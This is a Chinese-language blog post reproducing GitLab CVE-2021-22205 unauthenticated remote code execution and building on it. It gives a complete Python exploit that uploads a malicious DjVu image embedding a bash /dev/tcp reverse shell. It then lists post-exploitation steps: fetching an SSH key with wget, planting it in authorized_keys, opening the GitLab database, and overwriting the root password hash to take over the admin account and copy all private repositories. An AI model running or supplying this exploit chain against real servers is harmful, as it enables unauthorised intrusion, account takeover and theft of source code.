gitlab未授權RCE(CVE-2021-22205)漏洞復現及深入利用
影響版本
11.9 <= Gitlab CE/EE < 13.8.8
13.9 <= Gitlab CE/EE < 13.9.6
13.10 <= Gitlab CE/EE < 13.10.3
gitlab漏洞環境
使用vulhub的docker環境,但是總是崩掉
嘗試自己安裝。參考https://www.yuque.com/h3110n3w0r1d/htbocl/pcbcda
利用方式
通過CVE-2021-22205進行反彈shell
利用腳本:
#!/usr/bin/env python# -*- coding:utf-8 -*-import requestsfrom bs4 import BeautifulSoup
class Exploit(): __info__ = { 'name': 'CVE-2021-22205', 'desription': 'gitlab 未授權遠程命令執行', 'references': ['https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-22205'], 'devices': ['gitlab', '11.9=< version <13.8.8', '13.9=< version <13.9.6', '13.10=< version <13.10.3' ], }
target = "192.168.236.130" port = 8888 reverseShell = "echo '/bin/bash -i >& /dev/tcp/{}/{} 0>&1' > /tmp/shell.sh && chmod 777 /tmp/shell.sh && /bin/bash /tmp/shell.sh"
def exploit(self): session = requests.Session() requests.packages.urllib3.disable_warnings() url = "http://{}:{}".format(self.target, self.port) try: r = session.get(url.strip("/") + "/users/sign_in", verify=False) soup = BeautifulSoup(r.text, features="lxml") token = soup.findAll('meta')[16].get("content") data = "\r------WebKitFormBoundaryIMv3mxRg59TkFSX5\rContent-Disposition: form-data; name=\"file\"; filename=\"test.jpg\"\rContent-Type: image/jpeg\r\rAT&TFORM\x00\x00\x03\xafDJVMDIRM\x00\x00\x00.\x81\x00\x02\x00\x00\x00F\x00\x00\x00\xac\xff\xff\xde\xbf\x99 !\xc8\x91N\xeb\x0c\x07\x1f\xd2\xda\x88\xe8k\xe6D\x0f,q\x02\xeeI\xd3n\x95\xbd\xa2\xc3\"?FORM\x00\x00\x00^DJVUINFO\x00\x00\x00\x00\x08\x00\x08\x18\x00d\x00\x16\x00INCL\x00\x00\x00\x0fshared_anno.iff\x00BG44\x00\x00\x00\x11\x00J\x01\x02\x00\x08\x00\x08\x8a\xe6\xe1\xb17\xd9*\x89\x00BG44\x00\x00\x00\x04\x01\x0f\xf9\x9fBG44\x00\x00\x00\x02\x02FORM\x00\x00\x03\x07DJVIANTa\x00\x00\x01P(metadata\t(Copyright \"\\\" . qx{" + self.reverseShell + "} . \\\" b \") ) \r------WebKitFormBoundaryIMv3mxRg59TkFSX5--\r\r" headers = { "User-Agent": "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36", "Connection": "close", "Content-Type": "multipart/form-data; boundary=----WebKitFormBoundaryIMv3mxRg59TkFSX5", "X-CSRF-Token": f"{token}", "Accept-Encoding": "gzip, deflate"} flag = 'Failed to process image' req = session.post(url.strip("/") + "/uploads/user", data=data, headers=headers, verify=False) x = req.text if flag in x: return "success!!!" else: print("[-] Vuln Check Failed... ...") return 'failed' except Exception as error: print(error.with_traceback()) print("[-] Vuln Check Failed... ...") return 'failed'
def run(self): res = self.exploit() return res
if __name__ == '__main__': exploit = Exploit() ''' 在GitLab CE/EE中發現一個問題,從11.9開始影響所有版本。 GitLab沒有正確地驗證傳遞給文件解析器的圖像文件,導致遠程命令執行 此腳本利用此漏洞進行反彈shell, 測試前請配置好下面的 listenIp 和 listenPort 參數 ''' exploit.target= "192.168.2.83" exploit.port = 10000 listenIp = "192.168.2.97" listenPort = "9999" exploit.reverseShell = exploit.reverseShell.format(listenIp,listenPort) result = exploit.run() print(result)
在攻擊機器192.168.2.97上監聽9999端口

設置漏洞利用腳本的target(192.168.2.83)和port(10000)值

python3運行腳本,成功反彈shell

在linux下,web目錄僅僅只有root用戶具有寫權限。獲取的git用戶無寫權限。
發現git用戶具有操作數據庫權限,而gitlab自帶了訪問數據庫的命令:gitlab-rails dbconsole
在反彈的shell處,敲入gitlab-rails dbconsole 無法成功訪問,一直卡著,如下圖:

查看/etc/passwd

gti用戶具有ssh登錄權限,向git用戶用戶寫入公鑰進行登錄,寫入公鑰的命令方式又很多種,這里使用wget命令
先將生成的公鑰放在遠程服務器下,在反彈shell處將公鑰下載到受害者機器上
wget http://192.168.2.62:8001/gitlab_git.pub


默認情況下git用戶的authorized_keys內容為空,如果存在內容的話,先備份一下,再寫入。
寫入成功后進行ssh登錄即可。登錄后如下

再次執行gitlab-rails dbconsole 命令
成功獲取數據庫權限

查看有哪些數據表


發現users表,格式化輸出root用戶的信息,ps: root的id為1

根據密碼特征,可以發現是bcrypt加密,這種加密針對同一種明文每次加密后的密文不一樣。也就是說不可逆,但運氣好的話,可在cmd5中解開,但又因為gitlab默認的密碼策略是8個字符。
最委托的辦法就是修改root用戶的密碼密文值。關于bcrypt加密算法參考https://blog.csdn.net/fengyingkong/article/details/87377061
12345678的密文值為$2a$10$9sM0WeC3WSDCx9HWwr7z7eV3h3Q/tPxP7G2kvCWxWqdJemid1lICa
執行如下sql命令:
update users set encrypted_password='$2a$10$9sM0WeC3WSDCx9HWwr7z7eV3h3Q/tPxP7G2kvCWxWqdJemid1lICa' where e id =1;

注意:在實戰情況下,修改root密碼密文前,先備份一下,事后恢復。
修改成功后,使用root/12345678登錄

訪問http://192.168.2.83:10000/admin

可以看到即使private項目也可以訪問


可獲取gitlab所有的項目代碼。
ps:獲取gitlab系統所有項目代碼是我最大動力…… 另外上述操作均在gitlab默認配置情況下,若漏洞利用無法復現可留言,一起討論研究。